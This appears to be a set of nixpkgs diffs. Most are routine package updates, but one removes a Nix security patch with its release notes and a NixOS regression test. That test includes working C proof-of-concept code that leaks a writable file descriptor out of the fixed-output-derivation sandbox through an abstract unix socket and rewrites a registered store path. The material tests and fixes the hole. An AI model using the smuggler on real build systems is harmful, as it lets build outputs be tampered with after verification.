···81 arc-menu = gnomeExtensions.arcmenu; # added 2021-02-14
82 disable-unredirect = gnomeExtensions.disable-unredirect-fullscreen-windows; # added 2021-11-20
83084 nohotcorner = throw "gnomeExtensions.nohotcorner removed since 2019-10-09: Since 3.34, it is a part of GNOME Shell configurable through GNOME Tweaks.";
85 mediaplayer = throw "gnomeExtensions.mediaplayer deprecated since 2019-09-23: retired upstream https://github.com/JasonLG1979/gnome-shell-extensions-mediaplayer/blob/master/README.md";
86 remove-dropdown-arrows = throw "gnomeExtensions.remove-dropdown-arrows removed since 2021-05-25: The extensions has not seen an update sine GNOME 3.34. Furthermore, the functionality it provides is obsolete as of GNOME 40.";
···81 arc-menu = gnomeExtensions.arcmenu; # added 2021-02-14
82 disable-unredirect = gnomeExtensions.disable-unredirect-fullscreen-windows; # added 2021-11-20
8384+ icon-hider = throw "gnomeExtensions.icon-hider was removed on 2024-03-15. The extension has not received any updates since 2020/3.34.";
85 nohotcorner = throw "gnomeExtensions.nohotcorner removed since 2019-10-09: Since 3.34, it is a part of GNOME Shell configurable through GNOME Tweaks.";
86 mediaplayer = throw "gnomeExtensions.mediaplayer deprecated since 2019-09-23: retired upstream https://github.com/JasonLG1979/gnome-shell-extensions-mediaplayer/blob/master/README.md";
87 remove-dropdown-arrows = throw "gnomeExtensions.remove-dropdown-arrows removed since 2021-05-25: The extensions has not seen an update sine GNOME 3.34. Furthermore, the functionality it provides is obsolete as of GNOME 40.";
···5# supportedGpuTargets: List String
6# }
78+{ autoPatchelfHook
9+, blas
10, cmake
11, cudaPackages
12, cudaSupport ? config.cudaSupport
···20, libpthreadstubs
21, magmaRelease
22, ninja
23+, python3
24, config
25 # At least one back-end has to be enabled,
26 # and we can't default to CUDA since it's unfree
27, rocmSupport ? !cudaSupport
28, static ? stdenv.hostPlatform.isStatic
29, stdenv
030}:
313233let
34 inherit (lib) lists strings trivial;
35+ inherit (cudaPackages) cudaAtLeast cudaFlags cudaOlder;
36 inherit (magmaRelease) version hash supportedGpuTargets;
3738 # NOTE: The lists.subtractLists function is perhaps a bit unintuitive. It subtracts the elements
···96 inherit hash;
97 };
9899+ # Magma doesn't have anything which could be run under doCheck, but it does build test suite executables.
100+ # These are moved to $test/bin/ and $test/lib/ in postInstall.
101+ outputs = ["out" "test"];
102+103+ # Fixup for the python test runners
104+ postPatch = ''
105+ patchShebangs ./testing/run_{tests,summarize}.py
106+ substituteInPlace ./testing/run_tests.py \
107+ --replace-fail \
108+ "print >>sys.stderr, cmdp, \"doesn't exist (original name: \" + cmd + \", precision: \" + precision + \")\"" \
109+ "print(f\"{cmdp} doesn't exist (original name: {cmd}, precision: {precision})\", file=sys.stderr)"
110+ '';
111+112 nativeBuildInputs = [
113+ autoPatchelfHook
114 cmake
115 ninja
116 gfortran
···122 libpthreadstubs
123 lapack
124 blas
125+ python3
126 ] ++ lists.optionals cudaSupport (with cudaPackages; [
127 cuda_cudart.dev # cuda_runtime.h
128 cuda_cudart.lib # cudart
···131 libcublas.lib # cublas
132 libcusparse.dev # cusparse.h
133 libcusparse.lib # cusparse
134+ ] ++ lists.optionals (cudaOlder "11.8") [
135 cuda_nvprof.dev # <cuda_profiler_api.h>
136+ ] ++ lists.optionals (cudaAtLeast "11.8") [
137 cuda_profiler_api.dev # <cuda_profiler_api.h>
138+ ] ++ lists.optionals (cudaAtLeast "12.0") [
139 cuda_cccl.dev # <nv/target>
140 ]) ++ lists.optionals rocmSupport [
141 rocmPackages.clr
···145 ];
146147 cmakeFlags = [
148+ (strings.cmakeFeature "GPU_TARGET" gpuTargetString)
149+ (strings.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
150+ (strings.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
151+ (strings.cmakeBool "BUILD_SHARED_LIBS" (!static))
152+ # Set the Fortran name mangling scheme explicitly. We must set FORTRAN_CONVENTION manually because it will
153+ # otherwise not be set in NVCC_FLAGS or DEVCCFLAGS (which we cannot modify).
154+ # See https://github.com/NixOS/nixpkgs/issues/281656#issuecomment-1902931289
155+ (strings.cmakeBool "USE_FORTRAN" true)
156+ (strings.cmakeFeature "CMAKE_C_FLAGS" "-DADD_")
157+ (strings.cmakeFeature "CMAKE_CXX_FLAGS" "-DADD_")
158+ (strings.cmakeFeature "FORTRAN_CONVENTION" "-DADD_")
159 ] ++ lists.optionals cudaSupport [
160+ (strings.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
161+ (strings.cmakeFeature "MIN_ARCH" minArch) # Disarms magma's asserts
00162 ] ++ lists.optionals rocmSupport [
163+ (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc")
164+ (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc")
00165 ];
166167+ # Magma doesn't have a test suite we can easily run, just loose executables, all of which require a GPU.
0000168 doCheck = false;
169170+ # Copy the files to the test output and fix the RPATHs.
171+ postInstall =
172+ # NOTE: The python scripts aren't copied by CMake into the build directory, so we must copy them from the source.
173+ # TODO(@connorbaker): This should be handled by having CMakeLists.txt install them, but such a patch is
174+ # out of the scope of the PR which introduces the `test` output: https://github.com/NixOS/nixpkgs/pull/283777.
175+ # See https://github.com/NixOS/nixpkgs/pull/283777#discussion_r1482125034 for more information.
176+ ''
177+ install -Dm755 ../testing/run_{tests,summarize}.py -t "$test/bin/"
178+ ''
179+ # Copy core test executables and libraries over to the test output.
180+ # NOTE: Magma doesn't provide tests for sparse solvers for ROCm, but it does for CUDA -- we put them both in the same
181+ # install command to avoid the case where a glob would fail to find any files and cause the install command to fail
182+ # because it has no files to install.
183+ + ''
184+ install -Dm755 ./testing/testing_* ./sparse/testing/testing_* -t "$test/bin/"
185+ install -Dm755 ./lib/libtester.so ./lib/liblapacktest.so -t "$test/lib/"
186+ ''
187+ # All of the test executables and libraries will have a reference to the build directory in their RPATH, which we
188+ # must remove. We do this by shrinking the RPATH to only include the Nix store. The autoPatchelfHook will take care
189+ # of supplying the correct RPATH for needed libraries (like `libtester.so`).
190+ + ''
191+ find "$test" -type f -exec \
192+ patchelf \
193+ --shrink-rpath \
194+ --allowed-rpath-prefixes "$NIX_STORE" \
195+ {} \;
196+ '';
197+198 passthru = {
199 inherit cudaPackages cudaSupport rocmSupport gpuTargets;
200 };
···210 broken =
211 !(cudaSupport || rocmSupport) # At least one back-end enabled
212 || (cudaSupport && rocmSupport) # Mutually exclusive
213+ || (cudaSupport && cudaOlder "9.0");
214 };
215}
···38 buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json);
3940 # our version of buck2; this should be a git tag
41- version = "2024-01-15";
4243 # the platform-specific, statically linked binary — which is also
44 # zstd-compressed
···63 # tooling
64 prelude-src =
65 let
66- prelude-hash = "ccf6f5d1693cfa215b60212cf9863d27c6fd6a69";
67 name = "buck2-prelude-${version}.tar.gz";
68 hash = buildHashes."_prelude";
69 url = "https://github.com/facebook/buck2-prelude/archive/${prelude-hash}.tar.gz";
···38 buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json);
3940 # our version of buck2; this should be a git tag
41+ version = "2024-03-15";
4243 # the platform-specific, statically linked binary — which is also
44 # zstd-compressed
···63 # tooling
64 prelude-src =
65 let
66+ prelude-hash = "c68a0e4b35928891e72df1738c890bfcb76a6174";
67 name = "buck2-prelude-${version}.tar.gz";
68 hash = buildHashes."_prelude";
69 url = "https://github.com/facebook/buck2-prelude/archive/${prelude-hash}.tar.gz";
···1-From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
2-From: Tom Bereknyei <tomberek@gmail.com>
3-Date: Fri, 1 Mar 2024 03:42:26 -0500
4-Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
5-6-Test that we can't leverage abstract unix domain sockets to leak file
7-descriptors out of the sandbox and modify the path after it has been
8-registered.
9-10-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
11----
12- flake.nix | 2 +
13- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
14- tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
15- tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
16- 4 files changed, 223 insertions(+)
17- create mode 100644 tests/nixos/ca-fd-leak/default.nix
18- create mode 100644 tests/nixos/ca-fd-leak/sender.c
19- create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
20-21-diff --git a/flake.nix b/flake.nix
22-index 230bb6031..4a54c660f 100644
23---- a/flake.nix
24-+++ b/flake.nix
25-@@ -634,6 +634,8 @@
26- ["i686-linux" "x86_64-linux"]
27- (system: runNixOSTestFor system ./tests/nixos/setuid.nix);
28-29-+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
30-+
31-32- # Make sure that nix-env still produces the exact same result
33- # on a particular version of Nixpkgs.
34-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
35-new file mode 100644
36-index 000000000..a6ae72adc
37---- /dev/null
38-+++ b/tests/nixos/ca-fd-leak/default.nix
39-@@ -0,0 +1,90 @@
40-+# Nix is a sandboxed build system. But Not everything can be handled inside its
41-+# sandbox: Network access is normally blocked off, but to download sources, a
42-+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
43-+# The detail here is not important, but in our case it means that the hash of
44-+# the output has to be known beforehand. And if you know that, you get a few
45-+# rights: you no longer run inside a special network namespace!
46-+#
47-+# Now, Linux has a special feature, that not many other unices do: Abstract
48-+# unix domain sockets! Not only that, but those are namespaced using the
49-+# network namespace! That means that we have a way to create sockets that are
50-+# available in every single fixed-output derivation, and also all processes
51-+# running on the host machine! Now, this wouldn't be that much of an issue, as,
52-+# well, the whole idea is that the output is pure, and all processes in the
53-+# sandbox are killed before finalizing the output. What if we didn't need those
54-+# processes at all? Unix domain sockets have a semi-known trick: you can pass
55-+# file descriptors around!
56-+# This makes it possible to exfiltrate a file-descriptor with write access to
57-+# $out outside of the sandbox. And that file-descriptor can be used to modify
58-+# the contents of the store path after it has been registered.
59-+
60-+{ config, ... }:
61-+
62-+let
63-+ pkgs = config.nodes.machine.nixpkgs.pkgs;
64-+
65-+ # Simple C program that sends a a file descriptor to `$out` to a Unix
66-+ # domain socket.
67-+ # Compiled statically so that we can easily send it to the VM and use it
68-+ # inside the build sandbox.
69-+ sender = pkgs.runCommandWith {
70-+ name = "sender";
71-+ stdenv = pkgs.pkgsStatic.stdenv;
72-+ } ''
73-+ $CC -static -o $out ${./sender.c}
74-+ '';
75-+
76-+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
77-+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
78-+ # lives in a mount namespace where it is not! So even when this file exists
79-+ # in the actual Nix store, we're capable of just modifying its contents...
80-+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
81-+
82-+ # The abstract socket path used to exfiltrate the file descriptor
83-+ socketName = "FODSandboxExfiltrationSocket";
84-+in
85-+{
86-+ name = "ca-fd-leak";
87-+
88-+ nodes.machine =
89-+ { config, lib, pkgs, ... }:
90-+ { virtualisation.writableStore = true;
91-+ nix.settings.substituters = lib.mkForce [ ];
92-+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
93-+ };
94-+
95-+ testScript = { nodes }: ''
96-+ start_all()
97-+
98-+ machine.succeed("echo hello")
99-+ # Start the smuggler server
100-+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
101-+
102-+ # Build the smuggled derivation.
103-+ # This will connect to the smuggler server and send it the file descriptor
104-+ machine.succeed(r"""
105-+ nix-build -E '
106-+ builtins.derivation {
107-+ name = "smuggled";
108-+ system = builtins.currentSystem;
109-+ # look ma, no tricks!
110-+ outputHashMode = "flat";
111-+ outputHashAlgo = "sha256";
112-+ outputHash = builtins.hashString "sha256" "hello, world\n";
113-+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
114-+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
115-+ }'
116-+ """.strip())
117-+
118-+
119-+ # Tell the smuggler server that we're done
120-+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
121-+
122-+ # Check that the file was not modified
123-+ machine.succeed(r"""
124-+ cat ./result
125-+ test "$(cat ./result)" = "hello, world"
126-+ """.strip())
127-+ '';
128-+
129-+}
130-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
131-new file mode 100644
132-index 000000000..75e54fc8f
133---- /dev/null
134-+++ b/tests/nixos/ca-fd-leak/sender.c
135-@@ -0,0 +1,65 @@
136-+#include <sys/socket.h>
137-+#include <sys/un.h>
138-+#include <stdlib.h>
139-+#include <stddef.h>
140-+#include <stdio.h>
141-+#include <unistd.h>
142-+#include <fcntl.h>
143-+#include <errno.h>
144-+#include <string.h>
145-+#include <assert.h>
146-+
147-+int main(int argc, char **argv) {
148-+
149-+ assert(argc == 2);
150-+
151-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
152-+
153-+ // Set up a abstract domain socket path to connect to.
154-+ struct sockaddr_un data;
155-+ data.sun_family = AF_UNIX;
156-+ data.sun_path[0] = 0;
157-+ strcpy(data.sun_path + 1, argv[1]);
158-+
159-+ // Now try to connect, To ensure we work no matter what order we are
160-+ // executed in, just busyloop here.
161-+ int res = -1;
162-+ while (res < 0) {
163-+ res = connect(sock, (const struct sockaddr *)&data,
164-+ offsetof(struct sockaddr_un, sun_path)
165-+ + strlen(argv[1])
166-+ + 1);
167-+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
168-+ if (errno != ECONNREFUSED) break;
169-+ }
170-+
171-+ // Write our message header.
172-+ struct msghdr msg = {0};
173-+ msg.msg_control = malloc(128);
174-+ msg.msg_controllen = 128;
175-+
176-+ // Write an SCM_RIGHTS message containing the output path.
177-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
178-+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
179-+ hdr->cmsg_level = SOL_SOCKET;
180-+ hdr->cmsg_type = SCM_RIGHTS;
181-+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
182-+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
183-+
184-+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
185-+
186-+ // Write a single null byte too.
187-+ msg.msg_iov = malloc(sizeof(struct iovec));
188-+ msg.msg_iov[0].iov_base = "";
189-+ msg.msg_iov[0].iov_len = 1;
190-+ msg.msg_iovlen = 1;
191-+
192-+ // Send it to the othher side of this connection.
193-+ res = sendmsg(sock, &msg, 0);
194-+ if (res < 0) perror("sendmsg");
195-+ int buf;
196-+
197-+ // Wait for the server to close the socket, implying that it has
198-+ // received the commmand.
199-+ recv(sock, (void *)&buf, sizeof(int), 0);
200-+}
201-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
202-new file mode 100644
203-index 000000000..82acf37e6
204---- /dev/null
205-+++ b/tests/nixos/ca-fd-leak/smuggler.c
206-@@ -0,0 +1,66 @@
207-+#include <sys/socket.h>
208-+#include <sys/un.h>
209-+#include <stdlib.h>
210-+#include <stddef.h>
211-+#include <stdio.h>
212-+#include <unistd.h>
213-+#include <assert.h>
214-+
215-+int main(int argc, char **argv) {
216-+
217-+ assert(argc == 2);
218-+
219-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
220-+
221-+ // Bind to the socket.
222-+ struct sockaddr_un data;
223-+ data.sun_family = AF_UNIX;
224-+ data.sun_path[0] = 0;
225-+ strcpy(data.sun_path + 1, argv[1]);
226-+ int res = bind(sock, (const struct sockaddr *)&data,
227-+ offsetof(struct sockaddr_un, sun_path)
228-+ + strlen(argv[1])
229-+ + 1);
230-+ if (res < 0) perror("bind");
231-+
232-+ res = listen(sock, 1);
233-+ if (res < 0) perror("listen");
234-+
235-+ int smuggling_fd = -1;
236-+
237-+ // Accept the connection a first time to receive the file descriptor.
238-+ fprintf(stderr, "%s\n", "Waiting for the first connection");
239-+ int a = accept(sock, 0, 0);
240-+ if (a < 0) perror("accept");
241-+
242-+ struct msghdr msg = {0};
243-+ msg.msg_control = malloc(128);
244-+ msg.msg_controllen = 128;
245-+
246-+ // Receive the file descriptor as sent by the smuggler.
247-+ recvmsg(a, &msg, 0);
248-+
249-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
250-+ while (hdr) {
251-+ if (hdr->cmsg_level == SOL_SOCKET
252-+ && hdr->cmsg_type == SCM_RIGHTS) {
253-+
254-+ // Grab the copy of the file descriptor.
255-+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
256-+ }
257-+
258-+ hdr = CMSG_NXTHDR(&msg, hdr);
259-+ }
260-+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
261-+ close(a);
262-+
263-+ // Wait for a second connection, which will tell us that the build is
264-+ // done
265-+ a = accept(sock, 0, 0);
266-+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
267-+ // Write a new content to the file
268-+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
269-+ char * new_content = "Pwned\n";
270-+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
271-+ if (written_bytes != strlen(new_content)) perror("write");
272-+}
273---
274-2.42.0
275-276-277-From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
278-From: Tom Bereknyei <tomberek@gmail.com>
279-Date: Fri, 1 Mar 2024 03:45:39 -0500
280-Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
281- registering them
282-283-It is possible to exfiltrate a file descriptor out of the build sandbox
284-of FODs, and use it to modify the store path after it has been
285-registered.
286-To avoid that issue, don't register the output of the build, but a copy
287-of it (that will be free of any leaked file descriptor).
288-289-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
290-Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
291----
292- src/libstore/build/local-derivation-goal.cc | 6 ++++++
293- src/libutil/filesystem.cc | 6 ++++++
294- src/libutil/util.hh | 7 +++++++
295- 3 files changed, 19 insertions(+)
296-297-diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
298-index 64b55ca6a..f1e22f829 100644
299---- a/src/libstore/build/local-derivation-goal.cc
300-+++ b/src/libstore/build/local-derivation-goal.cc
301-@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
302- [&](const DerivationOutput::CAFixed & dof) {
303- auto & wanted = dof.ca.hash;
304-305-+ // Replace the output by a fresh copy of itself to make sure
306-+ // that there's no stale file descriptor pointing to it
307-+ Path tmpOutput = actualPath + ".tmp";
308-+ copyFile(actualPath, tmpOutput, true);
309-+ renameFile(tmpOutput, actualPath);
310-+
311- auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
312- .method = dof.ca.method,
313- .hashType = wanted.type,
314-diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
315-index 11cc0c0e7..2a7787c0e 100644
316---- a/src/libutil/filesystem.cc
317-+++ b/src/libutil/filesystem.cc
318-@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
319- }
320- }
321-322-+
323-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
324-+{
325-+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
326-+}
327-+
328- void renameFile(const Path & oldName, const Path & newName)
329- {
330- fs::rename(oldName, newName);
331-diff --git a/src/libutil/util.hh b/src/libutil/util.hh
332-index b302d6f45..59d42e0a5 100644
333---- a/src/libutil/util.hh
334-+++ b/src/libutil/util.hh
335-@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
336- */
337- void moveFile(const Path & src, const Path & dst);
338-339-+/**
340-+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
341-+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
342-+ * with the guaranty that the destination will be “fresh”, with no stale inode
343-+ * or file descriptor pointing to it).
344-+ */
345-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
346-347- /**
348- * Wrappers arount read()/write() that read/write exactly the
349---
350-2.42.0
351-352-353-From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
354-From: Tom Bereknyei <tomberek@gmail.com>
355-Date: Fri, 1 Mar 2024 04:01:23 -0500
356-Subject: [PATCH 3/3] Add release notes
357-358-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
359----
360- doc/manual/src/release-notes/rl-next.md | 8 ++++++++
361- 1 file changed, 8 insertions(+)
362-363-diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
364-index c869b5e2f..f77513385 100644
365---- a/doc/manual/src/release-notes/rl-next.md
366-+++ b/doc/manual/src/release-notes/rl-next.md
367-@@ -1 +1,9 @@
368- # Release X.Y (202?-??-??)
369-+
370-+- Fix a FOD sandbox escape:
371-+ Cooperating Nix derivations could send file descriptors to files in the Nix
372-+ store to each other via Unix domain sockets in the abstract namespace. This
373-+ allowed one derivation to modify the output of the other derivation, after Nix
374-+ has registered the path as "valid" and immutable in the Nix database.
375-+ In particular, this allowed the output of fixed-output derivations to be
376-+ modified from their expected content. This isn't the case any more.
377---
378-2.42.0
379-